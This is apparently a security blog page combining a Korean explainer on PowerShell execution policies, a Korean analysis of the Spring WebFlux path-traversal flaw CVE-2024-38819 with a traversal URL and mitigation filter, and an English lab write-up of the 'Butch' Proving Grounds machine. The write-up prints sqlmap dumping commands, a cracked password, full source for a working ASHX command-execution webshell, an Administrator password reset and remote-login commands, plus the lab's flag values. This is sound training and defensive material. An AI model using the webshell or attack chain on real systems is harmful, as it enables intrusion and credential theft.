https://m.blog.naver.com/vanstraat/221732533202

 

Powershell 파워쉘 실행정책 - Execution Policy

파워쉘을 사용하다보면 외부에서 가져온 스크립트를 실행할 때 아래와 같은 오류를 경험하곤 합니다. 이 시...

blog.naver.com

파워쉘을 사용하다보면 외부에서 가져온 스크립트를 실행할 때 아래와 같은 오류를 경험하곤 합니다.

이 시스템에서 스크립트를 실행할 수 없으므로 ~~~파일을 로드할 수 없습니다

~~~ canno be loaded because running script is disabled on this system

위의 오류 메시지는 Execution Policy(실행정책)와 관련된 것으로, Execution Policy는 파워쉘이 가진 첫번재 보안 방식 중 하나이며, 파워쉘이 실행할 스크립트 제어와 관련된 설정으로 이해하시면 됩니다. 그런데 Powershell의 Execution Policy와 관련된 상세한 내용이 많지 않아 정리를 한번 해보려고 합니다.

Get-ExecutionPolicy

가장 먼저 컴퓨터의 실행정책이 어떻게 설정되어 있는지 확인해야 한다면, Powershell 콘솔을 열고 아래와 같은 명령으로 현재 컴퓨터의 설정값을 확인할 수 있습니다.

Get-ExecutionPolicy

별다른 설정 변경을 하지 않았다면, Windows 10 PC에서는 Restricted로 보입니다.

Get-ExecutionPolicy에 아무런 argument를 입력하지 않으면 아래처럼 기본값이 보입니다. 기본적으로 LocalMachine의 scope를 대상으로 보여줍니다.

그런데 만약 Get-ExecutionPolicy-List 인수를 추가한다면 전체 scope별로 ExecutionPolicy를 확인할 수 있습니다.

 

ExecutionPolicy의 scope은 5가지 종류가 있으며, 가장 기본이 되는 것은 맨 마지막의 LocalMachine 입니다. 각각의 설정 값은 레지스트리에서도 확인이 가능합니다.

1. MachinePolicy : GPO의 컴퓨터 정책을 통해 설정하는 경우

HKLM:\Software\Policies\Microsoft\Windows\Powershell 에 저장됨 (없으면 Undefined 임)

2. UserPolicy : GPO의 사용자 정책을 통해 설정하는 경우

HKCU:\Software\Policies\Microsoft\Windows\Powershell 에 저장됨 (없으면 Undefined 임)

3. Process : 현재 실행 중인 파워쉘 세션에만 적용되는 실행정책

4. CurrentUser : 현재 사용자에 적용되는 실행정책

HKCU:\Software\Microsoft\Powershell\1\ShellIds 에 저장됨 (없으면 Undefined 임)

5. LocalMachine : 로컬 컴퓨터에 적용되는 실행정책

HKLM:\Software\Microsoft\Powershell\1\ShellIds 에 저장됨 (없으면 Undefined 임)

그럼 ExecutionPolicy가 가질 수 있는 5개(Undefined까지 총 6개)의 값이 어떤 의미인지 살펴보겠습니다.

Undefined

ExecutionPolicy를 설정하지 않았다는 의미이며, 기본 정책인 "Restricted"로 작동합니다.

Restricted

Windows 10의 ExecutionPolicy 기본 값이며, 이 경우 스크립트(~.ps1) 파일이 실행되지 않습니다. 단, Microsoft에서 만든 일부 스크립트 파일들은 실행이 가능하기도 한데, Microsoft에서 서명된 것이기 때문이 아닐까 합니다.

Unrestricted

이 설정은 Microsoft에서도 권장하지 않는 옵션인데, 모든 스크립트(서명되지 않은 스크립트 포함)를 실행할 수 있습니다. 악성코드를 실행시킬 수도 있기 때문에 왠만하면 사용하지 않는 것이 좋을 듯 합니다.

AllSigned

신뢰할 수 있는 인증기관이 서명한 스크립만 실행하는 옵션으로 보안이 가장 높지만, 해당 컴퓨터에서 작성된 스크립트라 하더라도 신뢰할 수 있는 인증기관이 서명하지 않았다면 실행이 불가능합니다.

Bypass

이 값은 다른 어플리케이션 내에 파워쉘 스크립트가 내장되거나, 별도의 자체 보안 설정을 갖추었을때 사용하기 위해 만들어졌으며, 차단되거나 별다른 경고 없이 실행됩니다.

RemoteSigned

이 값은 최신 Windows Server 버전(Windows Server 2012 R2 이후)의 Powershell 실행정책 기본값입니다.

해당 로컬 컴퓨터에서 에서 작성된 모든 스크립트는 실행이 가능하며, 인터넷에서 다운로드(IE, 크롬, 파이어폭스, 아웃룩 등)한 스크립트는 인증기관이 발행한 코드로 서명되어야만 실행이 가능합니다. 인터넷 이외의 소스로부터 다운로드 받거나 서명은 되었지만 악의적인 목적이 있는 스크립트는 위험이 있을 수도 있습니다.

Microsoft Windows PowerShell 팀에서 권장할 만큼 가장 많이 설정되는 값이며, 보안과 편리함의 균형을 어느정도 확보할 수 있습니담. 하지만 스크립트가 반드시 실행되어야 하는 컴퓨터에서만 사용하는 것이 바람직합니다.

위의 6가지 실행정책 값을 잘 읽어보셨다면 느끼셨을지도 모르지겠지만, ExecutionPolicy는 완벽한 보안이 될 수는 없다고 생각합니다. 그래서 일부 전문가분들은 자체적으로 보안에 더 신경을 쓰도록 Unrestricted로 설정할 것을 추천하기도 합니다. 보안을 생각한다면 ExecutionPolicy에만 의존하지 말아야 하겠습니다.

ExecutionPolicy 값 변경

기존의 ExecutionPolicy의 값을 변경하고자 한다면 크게 2가지의 방법이 있습니다.

첫번째는 Set-ExecutionPolicy cmdlet을 사용하는 방법입니다.

두번째는 Powershell.exe 실행 시 -ExecutionPolicy 옵션을 같이 사용하여 실행하는 방법입니다.

Set-ExecutionPolicy

Powershell 콘솔을 관리자 권한으로 실행 후, 아래와 같이 Set-ExecutionPolicy에 변경하고자 하는 실행정책 값을 입력하면 변경이 됩니다.

Set-ExecutionPolicy RemoteSigned
 

scope을 지정하지 않으면 기본적으로 LocalMachine에 적용되며, MachinePolicy, UserPolicy는 이 명령으로 변경이 불가능하며, 그룹정책GPO으로만 변경이 가능합니다.

아래와 같이 scope을 지정하여 변경할 수도 있습니다.

Set-ExecutionPolicy -scope CurrentUser RemoteSigned

Powershell.exe 실행 시 -ExecutionPolicy 옵션 사용

Powershell.exe 실행 시 -ExecutionPolicy 옵션을 함께 사용하면 실행정책이 GPO 혹은 로컬정책으로 적용되었다 하더라도 우선시 되며, 해당 Powershell 세션에서만 유효합니다.

아래 그림을 보면 잘 이해가 되실 것 같은데요, 현재 process scope의 실행정책은 Undefined로 설정이 되어 있습니다. 하지만 Powershell 실행 시 ExecutionPolicy를 Restricted로 지정하여 실행 ExecutionPolicy를 조회해 보면 현재 세션인 process scope의 ExecutionPolicy는 Restricted로 변경되어 있습니다.

현재 세선을 종료(exit)하면, 다시 ExecutionPolicy는 Undefined로 복귀된 것을 확인할 수 있습니다.

위에서도 잠시 언급했듯이, ExecutionPolicy는 완벽한 보안이 될 수 없습니다.

아무리 GPO를 통해 혹은 로컬정책을 통해 ExecutionPolicy를 지정한다 하더라도, Powershell 실행 시 옵션을 변경하여 실행한다면 모든 실행정책보다 우선하여 실행시킬 수도 있습니다.

이러한 내용이 뜻하는 바는 Powershell의 ExecutionPolicy는 완벽한 보안정책이 아니라, 사용자가 외부에서 다운받은 스크립트를 의도치 않게 무분별하게 실행하는 것을 방지하기 위한 것이라는 것입니다.

마지막으로 Execution Policy의 기본값은 OS별로 상이하며, Microsoft 문서에서도 이와 관련하여 명확하게 기술된 문서를 찾지는 못했는데, 제가 확인한 바에 의하면 아래와 같습니다.

- Windows 7, Windows 8, Windows 10 : Restricted

- Windows Server 2008, 2008 R2, 2012 : Restricted

- Windows Server 2012 R2, 2016, 2019 : RemoteSigned

기본적으로 최근 출시되는 서버 OS는 기본적으로 스크립트 사용이 가능하도록 설정되어 있는 반면, 클라이언트 OS는 사용이 불가능하게 설정되어 있습니다.

혹시 위 내용이 잘못되었다면 댓글 달아주세요.

"이 시스템에서 스크립트를 실행할 수 없으므로 ~~~파일을 로드할 수 없습니다"

"~~~ canno be loaded because running script is disabled on this system"

블로그 이미지

wtdsoul

,

CVE-2024-38819

경로 및 정보 2025. 9. 8. 15:11


01. File-Traversal와 Webflux 개요

  • 1) File-Traversal과 WebFlux 개요

    File-Traversal(경로 탐색, Path Traversal) 취약점은 공격자가 웹 애플리케이션에서 파일 시스템의 권한을 우회하여 임의의 파일에 접근할 수 있도록 하는 취약점 이며 CWE-22로 지정 되어있는 공격의 일종 입니다.CVE-2024-38819은 WebFlux.fn, WebMVC.fn를 사용하는 애플리케이션에서 발생하며 본 문서는 해당 취약점이 WebFlux기준으로 어떻게 발생하는지 코드 흐름을 살펴보고 이에 따른 대응 방안을 모색 해보고자 합니다.
  • Spring WebFlux는 Spring 5에서 도입된 리액티브 프로그래밍을 지원하는 모듈로, 비동기 논블로킹 애플리케이션 개발을 지원하며 WebFlux.fn은 함수형 엔드포인트 라우팅을 제공하여, 람다 표현식을 사용한 간결하고 유연한 라우팅 구성을 지원합니다.

02. Webflux 6.13환경의 File-Traversal 취약점 분석

  • 2.1 Webflux 6.13을 이용한 File-Traversal 분석

    Spring Webflux 6.13 에서 **정적 리소스(static resource)**를 서빙(Serving)하는 예제를 통해 File-Traversal 공격을 할수 있다.
    예제를 살펴 보며 Spring Webflux를 이용해 어떻게 File-Traversal 유발 되는지 알아보고자 한다.

1) Spring Webflux 6.13 활용한 File-Traversal 공격 흐름

[그림 1] FileApplication.java

[그림 1]은 Spring WebFlux에서 /static/**로 들어오는 모든 요청을 서버의 C:/file 디렉터리에서 찾아 서빙(Serving) 합니다. 여기서
RouterFunctions.resources 호출 중에 [그림 2], [그림 3] webflux 의 PathResourceLookupFunction.class 에서 의 문제가 시작됩니다.

[그림 2] PathResourceLookupFunction.class - apply

[그림 2] PathResourceLookupFunction - apply은 Spring WebFlux에서 주어진 경로가 유효한 리소스를 가리키는지 확인하고, 해당 리소스를
Mono 형태로 반환하는 역할을 합니다. 이 과정에서 경로 매칭, 유효성 검사, 경로 디코딩, 리소스 접근 등의 여러 단계를 수행 중 isInvalidPath
함수 에서 취약점이 발생합니다.

[그림 3] PathResourceLookupFunction.class - isInvalidPath

[그림 3] PathResourceLookupFunction - isInvalidPath를 보면 StringUtils.cleanPath(path).contains("../") 해당 조건이 존재 하는데
http://localhost:8080/static/file/../Windows/System32/drivers/etc/hosts 요청 시 해당 조건은 True가 될 수 없습니다. 이유로

[그림 4] StringUtils.class - cleanPath

[그림 4] StringUtils.class - cleanPath 보면 StringUtils.cleanPath(path)는 TOP_PATH("..")를 제거 후 경로를 pathElements에 넣고 top은 0이 됨으로
".."가 1번 들어간 공격 구문은 정상 구문으로 처리 됩니다. 그러하여 [그림 3]의 isInvalidPath의 함수는 false를 리턴하고

[그림 5] PathResourceLookupFunction.class - apply - 2

[그림 6] PathResourceLookupFunction.class - isResourceUnderLocation

[그림 5] 의 isResourceUnderLocation의 cleanPath 호출로 [그림 6]을 통해 cleanPath를 통한 또 한번의 검증을 거치게 되며 [그림 5]에서 넘긴 경로는 C:/file../Windows/System32/drivers/etc/hosts 이며

[그림 7] StringUtils.class - cleanPath -2

[그림 7] 의 코드를 통해 prefix는 C:/ 가 되며 경로는 [그림 4]를 통해/ Windows/System32/drivers/etc/hosts로 변경 되어 최종 리턴은
C:/Windows/System32/drivers/etc/hosts로 처리 되는 흐름 입니다.

2) Spring Webflux 6.13 활용한 File-Traversal 공격 예시

현재는 윈도우에서 C:/file로 테스트를 진행하였지만 해당 케이스가 리눅스 에 심볼릭 링크와 함께 동작 시 매우 위험하다.
(../../ 두번 설정 시 정상 로직 ../ 한번 일 경우만 취약점 발생) 

2-1) Spring Webflux 6.13 활용한 File-Traversal 공격 예시2

리눅스 서버에 심볼릭 링크와 함께 공격

 public RouterFunction<ServerResponse> staticResourceRouter() {
     return RouterFunctions.resources("/static/**", new FileSystemResource("/app/static/"));
 }
 

심볼릭 링크 추가 ln -s /static /app/static/link 후 공격 

03. 대응 방안

지금까지 Spring Webflux환경에서 File Traversal(CVE-2024-38819)이 수행되는 흐름을 체크 해봤습니다. 서버의 정보가 탈취 당하는 공격 방식이기에 대응 방안이 중요합니다. 이를 위해 최신 버전 업데이트, 추가 검수 로직 제작, IPS를 통한 차단 방안을 제시 하고자 합니다.

  • Spring Framework 업데이트

    아래 표를 참고 하고 사용 버전을 체크 후 업그레이드 해주시기 바랍니다.
  • 추가 검수 로직 제작 예시

    위 공격 예시를 보다시피 TOP_PATH(..)가 한번 포함 된 케이스가 문제 됨으로 간략한 필터 적용 로직(참고 후 개발자 분들이 더 추가)
    @Bean
    public RouterFunction<ServerResponse> staticResourceRouter() {    
      return RouterFunctions.resources("/static/**", new FileSystemResource("C:/file"))
              .filter((request, next) -> {
                  String path = request.path();
                  if (path.contains("..")) {
                     if(!StringUtils.cleanPath(path).contains("../")) {
                         return ServerResponse.status(HttpStatus.FORBIDDEN).bodyValue("Vuln path access.");
                     }        
                  }
                  return next.handle(request);
              });
    }
    
     
  • IPS 를 통한 차단

    공격 예시 : 포스트 맨을 통해 url에 ../ 경로를 포함 하여 요청

../ 상위 경로의 이동을 유발하는 url 요청을 전부 차단

 

 

04. 결론

지금까지 Webflux를 통한 File Tarversal을 알아 봤습니다. 해당 취약점은 StringUtils.cleanPath()의 로직에서 비롯된 문제를 인지 못하고 사용한 경우 였습니다.

05. 참고자료

(POC) https://github.com/masa42/CVE-2024-38819-POC
(스프링 공식) https://spring.io/security/cve-2024-38819
(CVE-DETAIL) https://www.cvedetails.com/cve/CVE-2024-38819/
(NIST) https://nvd.nist.gov/vuln/detail/cve-2024-38819

블로그 이미지

wtdsoul

,

Introduction

This is my fourteenth writeup in the Proving Grounds series, which is part of my learning roadmap before taking the OSCP exam. This machine is called Butch, categorized as Intermediate, and runs on the Windows operating system.

Target IP:

192.168.*.63

Tools:

  1. Rustscan (https://github.com/RustScan/RustScan)
  2. AutoRecon (https://github.com/Tib3rius/AutoRecon)
  3. Webshell .ashx (https://github.com/yangbaopeng/ashx_webshel)
  4. Hashcat (https://github.com/hashcat/hashcat)
  5. SQLMap (https://github.com/sqlmapproject/sqlmap)

Reconnaissance:

The first and most important step in penetration testing is information gathering/reconnaissance. Here, I started with port scanning using Rustscan. For a more effective reconnaissance process, I also utilize AutoRecon, which runs if the results of the basic recon are not helpful.

Command: rustscan -a 192.168.244.63 -- -sV -oN nmap.txt

Press enter or click to view image in full size

The port scanning results showed several open ports, including:

  • 21 (FTP): ftpd
  • 25 (SMTP): ESMTP 10.0.17763.1
  • 135 (MSRPC): RPC
  • 139 (NETBIOS): netbios-ssn
  • 445 (SMB): SMB
  • 450 (HTTP): IIS httpd.10.0
  • 5985 (WinRM): WinRM

Out of these, I attempted to access services anonymously or without credentials, such as FTP and SMB, but was unable to gain access.

Next, I tried accessing the HTTP service on port 450. Upon accessing it, I encountered a login page, as shown in the evidence below.

Press enter or click to view image in full size

Since the login credentials were unknown, I proceeded to perform directory fuzzing using dirsearch.

Command: python3 ~/Desktop/Tools/dirsearch/dirsearch.py -u http://192.168.244.63:450/ -e* -x 400,404 --output-file dirsearch.txt

Press enter or click to view image in full size

During fuzzing, I discovered a directory at /dev/. Accessing this path revealed a directory listing. However, it did not contain any sensitive information that could be leveraged for gaining access.

Press enter or click to view image in full size

I then shifted my focus to the login feature. Since common login forms are often vulnerable to SQL Injection, I tested the input by adding a single quote (') to trigger an error. As expected, the login form returned a SQL syntax error, indicating a potential SQL Injection vulnerability.

Press enter or click to view image in full size

I attempted several boolean-based SQL Injection payloads to bypass the login, but they were unsuccessful.

As the next step, I decided to dump the database. To speed up the data exfiltration process, I used SQLmap.

Dump Database Name

Command: sqlmap -r login.txt — dbms=mssql — dbs — technique=t — risk 3 — level 5

Press enter or click to view image in full size

The database dump revealed four databases, even though the initial enumeration with SQLmap indicated that there should be five databases. This suggests that one database was not successfully dumped.

I decided to start by dumping the master database to look for any credentials.

Dump Credentials from master.sys.sql_logins

Command: sqlmap -r login.txt — dbms=mssql -D master -T sys.sql_logins — dump — technique=t — risk 3 — level 5

Press enter or click to view image in full size

From the dump results, I didn’t find any password_hash or credential data. However, I did discover that the user butch had a default_database_name set to "butch", which suggests that the missing fifth database might be named butch.

With the information gathered earlier, I was able to dump the previously missing database — butch.

Dump Database “butch”

Command: sqlmap -r login.txt — dbms=mssql -D butch — tables — technique=t — risk 3 — level 5

Press enter or click to view image in full size

Dump Table “users” from database “butch”

Command: sqlmap -r login.txt — dbms=mssql -D butch -T users — dump — technique=t — risk 3 — level 5

Press enter or click to view image in full size

Inside this database, I found a password hash belonging to the user butch. After identifying the hash format, it appeared to be SHA-256.

I then attempted to crack the hash using Hashcat with the rockyou.txt wordlist.

Command: hashcat.exe -m 1400 hash.txt “D:\Wordlists\rockyou.txt”

Press enter or click to view image in full size

The cracking process was successful, revealing the plaintext password:awesomedude .

Initial Access:

Using the credentials obtained earlier — butch:awesomedude — I successfully logged in to the web application.

Press enter or click to view image in full size

The application included a file upload feature, and since it seemed to function as a repository, I first tested it by uploading a simple TXT file.

The TXT file uploaded successfully, but the storage directory was not immediately apparent. I then tried to directly access the file at: http://192.168.244.63:450/tes.txt —and it worked!

Press enter or click to view image in full size

With the file storage location confirmed, the next step was to upload a web shell to gain remote access.

I attempted to upload webshell files with extensions .aspx and .asp, but both failed — the server responded with "Invalid file format".

To bypass the upload restriction, I tried using an alternative extension: .ashx.

Below is the content of the ASHX webshell, sourced from: https://github.com/yangbaopeng/ashx_webshell

<% @ webhandler language="C#" class="AverageHandler" %>

using System;
using System.Web;
using System.Diagnostics;
using System.IO;

public class AverageHandler : IHttpHandler
{
  /* .Net requires this to be implemented */
  public bool IsReusable
  {
    get { return true; }
  }

  /* main executing code */
  public void ProcessRequest(HttpContext ctx)
  {
    Uri url = new Uri(HttpContext.Current.Request.Url.Scheme + "://" +   HttpContext.Current.Request.Url.Authority + HttpContext.Current.Request.RawUrl);
    string command = HttpUtility.ParseQueryString(url.Query).Get("cmd");

    ctx.Response.Write("<form method='GET'>Command: <input name='cmd' value='"+command+"'><input type='submit' value='Run'></form>");
    ctx.Response.Write("<hr>");
    ctx.Response.Write("<pre>");

    /* command execution and output retrieval */
    ProcessStartInfo psi = new ProcessStartInfo();
    psi.FileName = "cmd.exe";
    psi.Arguments = "/c "+command;
    psi.RedirectStandardOutput = true;
    psi.UseShellExecute = false;
    Process p = Process.Start(psi);
    StreamReader stmrdr = p.StandardOutput;
    string s = stmrdr.ReadToEnd();
    stmrdr.Close();

    ctx.Response.Write(System.Web.HttpUtility.HtmlEncode(s));
    ctx.Response.Write("</pre>");
    ctx.Response.Write("<hr>");
    ctx.Response.Write("By http://www.twitter.com/Hypn'>@Hypn, for educational purposes only.");
 }
}

I uploaded the ASHX webshell, and it was successfully accepted!

I then accessed it via: http://192.168.244.63:450/shell.ashx —and the webshell was fully functional.

Press enter or click to view image in full size

Privilege Escalation:

Interestingly, privilege escalation was not necessary, as the webshell was already running under the NT AUTHORITY\SYSTEM user.

However, there were some limitations — the shell was unstable and couldn’t reliably execute actions such as running .exe files for a reverse shell or performing more complex tasks.

To obtain a stable interactive shell, I took advantage of the NT AUTHORITY\SYSTEM privileges to change the password for the built-in Administrator account.

Command: net user administrator P@ssw0rd!

Press enter or click to view image in full size

Once the password was updated, I was able to gain full access by using tools like Evil-WinRM or Impacket’s psexec.py, both of which provided a proper interactive shell with full administrative privileges.

Evil-WinRM

Command: evil-winrm -i 192.168.244.63 -u ‘administrator’ -p ‘P@ssw0rd!’

Press enter or click to view image in full size

Impacket PsExec

Command: impacket-psexec Administrator:’P@ssw0rd!’@192.168.244.63

Post Exploitation:

Read local.txt: e6c3ad743b48e649300a2393316e80da

Read proof.txt: d57bb84e4ef2ca0b0f6211ca6c9040bc

Closing Remarks:

Thank you for reading my writeup. I hope it is helpful to all of you. I apologize for any mistakes in my writing. I appreciate any feedback or suggestions to help me improve in the future.

블로그 이미지

wtdsoul

,